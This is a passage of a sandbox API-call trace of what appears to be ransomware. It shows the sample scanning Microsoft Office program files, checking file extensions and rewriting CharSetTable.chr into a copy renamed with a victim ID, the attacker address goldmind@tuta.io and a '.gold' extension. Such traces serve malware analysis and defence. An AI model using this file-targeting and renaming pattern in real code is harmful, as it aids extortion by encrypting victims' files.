lpString2=".BDR") returned 1 [0110.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0110.585] lstrlenW (lpString=".1cd") returned 4 [0110.585] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61 [0110.585] lstrlenW (lpString=".jpg") returned 4 [0110.585] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.585] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0110.585] lstrlenW (lpString="BRTVIEW.DLL") returned 11 [0110.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0110.587] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=186776) returned 1 [0110.587] CloseHandle (hObject=0x19c) returned 1 [0110.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll")) returned 0x20 [0110.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0110.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0110.587] lstrlenW (lpString=".doc") returned 4 [0110.587] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0110.587] lstrlenW (lpString=".docx") returned 5 [0110.587] lstrcmpiW (lpString1=".docx", lpString2="W.DLL") returned -1 [0110.587] lstrlenW (lpString=".pdf") returned 4 [0110.587] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0110.587] lstrlenW (lpString=".xls") returned 4 [0110.587] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0110.587] lstrlenW (lpString=".xlsx") returned 5 [0110.587] lstrcmpiW (lpString1=".xlsx", lpString2="W.DLL") returned -1 [0110.587] lstrlenW (lpString=".ppt") returned 4 [0110.587] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0110.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0110.587] lstrlenW (lpString=".zip") returned 4 [0110.587] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0110.587] lstrlenW (lpString=".rar") returned 4 [0110.587] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0110.587] lstrlenW (lpString=".bz2") returned 4 [0110.587] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0110.587] lstrlenW (lpString=".7z") returned 3 [0110.587] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0110.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0110.587] lstrlenW (lpString=".dbf") returned 4 [0110.587] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0110.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0110.587] lstrlenW (lpString=".1cd") returned 4 [0110.587] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0110.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0110.587] lstrlenW (lpString=".jpg") returned 4 [0110.587] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0110.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0110.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0110.588] lstrlenW (lpString=".doc") returned 4 [0110.588] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0110.588] lstrlenW (lpString=".docx") returned 5 [0110.588] lstrcmpiW (lpString1=".docx", lpString2="W.DLL") returned -1 [0110.588] lstrlenW (lpString=".pdf") returned 4 [0110.588] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0110.588] lstrlenW (lpString=".xls") returned 4 [0110.588] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0110.588] lstrlenW (lpString=".xlsx") returned 5 [0110.588] lstrcmpiW (lpString1=".xlsx", lpString2="W.DLL") returned -1 [0110.588] lstrlenW (lpString=".ppt") returned 4 [0110.588] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0110.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0110.588] lstrlenW (lpString=".zip") returned 4 [0110.588] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0110.588] lstrlenW (lpString=".rar") returned 4 [0110.588] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0110.588] lstrlenW (lpString=".bz2") returned 4 [0110.588] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0110.588] lstrlenW (lpString=".7z") returned 3 [0110.588] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0110.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0110.588] lstrlenW (lpString=".dbf") returned 4 [0110.588] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0110.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0110.588] lstrlenW (lpString=".1cd") returned 4 [0110.588] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0110.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0110.588] lstrlenW (lpString=".jpg") returned 4 [0110.588] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0110.588] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0110.588] lstrlenW (lpString="BSTORM.DLL") returned 10 [0110.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0110.589] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=947072) returned 1 [0110.589] CloseHandle (hObject=0x19c) returned 1 [0110.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll")) returned 0x20 [0110.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0110.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0110.590] lstrlenW (lpString=".doc") returned 4 [0110.590] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0110.590] lstrlenW (lpString=".docx") returned 5 [0110.590] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0110.590] lstrlenW (lpString=".pdf") returned 4 [0110.590] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0110.590] lstrlenW (lpString=".xls") returned 4 [0110.590] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0110.590] lstrlenW (lpString=".xlsx") returned 5 [0110.590] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0110.590] lstrlenW (lpString=".ppt") returned 4 [0110.590] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0110.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0110.590] lstrlenW (lpString=".zip") returned 4 [0110.590] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0110.590] lstrlenW (lpString=".rar") returned 4 [0110.590] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0110.590] lstrlenW (lpString=".bz2") returned 4 [0110.590] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0110.590] lstrlenW (lpString=".7z") returned 3 [0110.590] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0110.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0110.590] lstrlenW (lpString=".dbf") returned 4 [0110.590] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0110.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0110.590] lstrlenW (lpString=".1cd") returned 4 [0110.590] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0110.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0110.590] lstrlenW (lpString=".jpg") returned 4 [0110.590] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0110.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0110.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0110.590] lstrlenW (lpString=".doc") returned 4 [0110.590] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0110.590] lstrlenW (lpString=".docx") returned 5 [0110.590] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0110.590] lstrlenW (lpString=".pdf") returned 4 [0110.590] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0110.591] lstrlenW (lpString=".xls") returned 4 [0110.591] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0110.591] lstrlenW (lpString=".xlsx") returned 5 [0110.591] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0110.591] lstrlenW (lpString=".ppt") returned 4 [0110.591] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0110.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0110.591] lstrlenW (lpString=".zip") returned 4 [0110.591] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0110.591] lstrlenW (lpString=".rar") returned 4 [0110.591] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0110.591] lstrlenW (lpString=".bz2") returned 4 [0110.591] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0110.591] lstrlenW (lpString=".7z") returned 3 [0110.591] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0110.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0110.591] lstrlenW (lpString=".dbf") returned 4 [0110.591] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0110.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0110.591] lstrlenW (lpString=".1cd") returned 4 [0110.591] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0110.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0110.591] lstrlenW (lpString=".jpg") returned 4 [0110.591] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0110.591] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0110.591] lstrlenW (lpString="CDLMSO.DLL") returned 10 [0110.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0110.592] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=531800) returned 1 [0110.592] CloseHandle (hObject=0x19c) returned 1 [0110.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll")) returned 0x20 [0110.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0110.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0110.592] lstrlenW (lpString=".doc") returned 4 [0110.593] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0110.593] lstrlenW (lpString=".docx") returned 5 [0110.593] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0110.593] lstrlenW (lpString=".pdf") returned 4 [0110.593] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0110.593] lstrlenW (lpString=".xls") returned 4 [0110.593] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0110.593] lstrlenW (lpString=".xlsx") returned 5 [0110.593] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0110.593] lstrlenW (lpString=".ppt") returned 4 [0110.593] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0110.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0110.593] lstrlenW (lpString=".zip") returned 4 [0110.593] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0110.593] lstrlenW (lpString=".rar") returned 4 [0110.593] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0110.593] lstrlenW (lpString=".bz2") returned 4 [0110.593] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0110.593] lstrlenW (lpString=".7z") returned 3 [0110.593] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0110.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0110.593] lstrlenW (lpString=".dbf") returned 4 [0110.593] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0110.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0110.593] lstrlenW (lpString=".1cd") returned 4 [0110.593] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0110.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0110.593] lstrlenW (lpString=".jpg") returned 4 [0110.593] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0110.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0110.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0110.593] lstrlenW (lpString=".doc") returned 4 [0110.593] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0110.593] lstrlenW (lpString=".docx") returned 5 [0110.593] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0110.593] lstrlenW (lpString=".pdf") returned 4 [0110.593] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0110.593] lstrlenW (lpString=".xls") returned 4 [0110.593] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0110.593] lstrlenW (lpString=".xlsx") returned 5 [0110.593] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0110.593] lstrlenW (lpString=".ppt") returned 4 [0110.593] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0110.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0110.593] lstrlenW (lpString=".zip") returned 4 [0110.593] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0110.593] lstrlenW (lpString=".rar") returned 4 [0110.593] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0110.593] lstrlenW (lpString=".bz2") returned 4 [0110.593] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0110.593] lstrlenW (lpString=".7z") returned 3 [0110.593] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0110.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0110.593] lstrlenW (lpString=".dbf") returned 4 [0110.593] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0110.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0110.594] lstrlenW (lpString=".1cd") returned 4 [0110.594] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0110.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0110.594] lstrlenW (lpString=".jpg") returned 4 [0110.594] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0110.594] lstrcmpiW (lpString1=".HLP", lpString2=".gold") returned 1 [0110.594] lstrlenW (lpString="CGMIMP32.HLP") returned 12 [0110.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0110.595] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=31497) returned 1 [0110.595] CloseHandle (hObject=0x19c) returned 1 [0110.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp")) returned 0x20 [0110.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0110.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0110.595] lstrlenW (lpString=".doc") returned 4 [0110.595] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0110.595] lstrlenW (lpString=".docx") returned 5 [0110.595] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0110.595] lstrlenW (lpString=".pdf") returned 4 [0110.595] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0110.595] lstrlenW (lpString=".xls") returned 4 [0110.595] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0110.595] lstrlenW (lpString=".xlsx") returned 5 [0110.595] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0110.595] lstrlenW (lpString=".ppt") returned 4 [0110.595] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0110.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0110.595] lstrlenW (lpString=".zip") returned 4 [0110.595] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0110.595] lstrlenW (lpString=".rar") returned 4 [0110.595] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0110.595] lstrlenW (lpString=".bz2") returned 4 [0110.596] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0110.596] lstrlenW (lpString=".7z") returned 3 [0110.596] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0110.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0110.596] lstrlenW (lpString=".dbf") returned 4 [0110.596] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0110.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0110.596] lstrlenW (lpString=".1cd") returned 4 [0110.596] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0110.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0110.596] lstrlenW (lpString=".jpg") returned 4 [0110.596] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0110.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0110.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0110.596] lstrlenW (lpString=".doc") returned 4 [0110.596] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0110.596] lstrlenW (lpString=".docx") returned 5 [0110.596] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0110.596] lstrlenW (lpString=".pdf") returned 4 [0110.596] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0110.596] lstrlenW (lpString=".xls") returned 4 [0110.596] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0110.596] lstrlenW (lpString=".xlsx") returned 5 [0110.596] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0110.596] lstrlenW (lpString=".ppt") returned 4 [0110.596] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0110.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0110.596] lstrlenW (lpString=".zip") returned 4 [0110.596] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0110.596] lstrlenW (lpString=".rar") returned 4 [0110.596] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0110.596] lstrlenW (lpString=".bz2") returned 4 [0110.596] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0110.596] lstrlenW (lpString=".7z") returned 3 [0110.596] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0110.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0110.596] lstrlenW (lpString=".dbf") returned 4 [0110.596] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0110.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0110.596] lstrlenW (lpString=".1cd") returned 4 [0110.596] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0110.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0110.596] lstrlenW (lpString=".jpg") returned 4 [0110.596] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0110.596] lstrcmpiW (lpString1=".chr", lpString2=".gold") returned -1 [0110.596] lstrlenW (lpString="CharSetTable.chr") returned 16 [0110.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0110.747] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=56514) returned 1 [0110.747] CloseHandle (hObject=0x19c) returned 1 [0110.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr")) returned 0x20 [0110.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0110.760] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.760] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0110.782] GetLastError () returned 0x0 [0110.782] ReadFile (in: hFile=0x380, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xdcc2, lpOverlapped=0x0) returned 1 [0110.797] WriteFile (in: hFile=0x3ac, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xdcd0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xdcd0, lpOverlapped=0x0) returned 1 [0110.798] ReadFile (in: hFile=0x380, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.798] WriteFile (in: hFile=0x3ac, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0110.798] SetEndOfFile (hFile=0x3ac) returned 1 [0110.816] CloseHandle (hObject=0x3ac) returned 1 [0110.816] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, 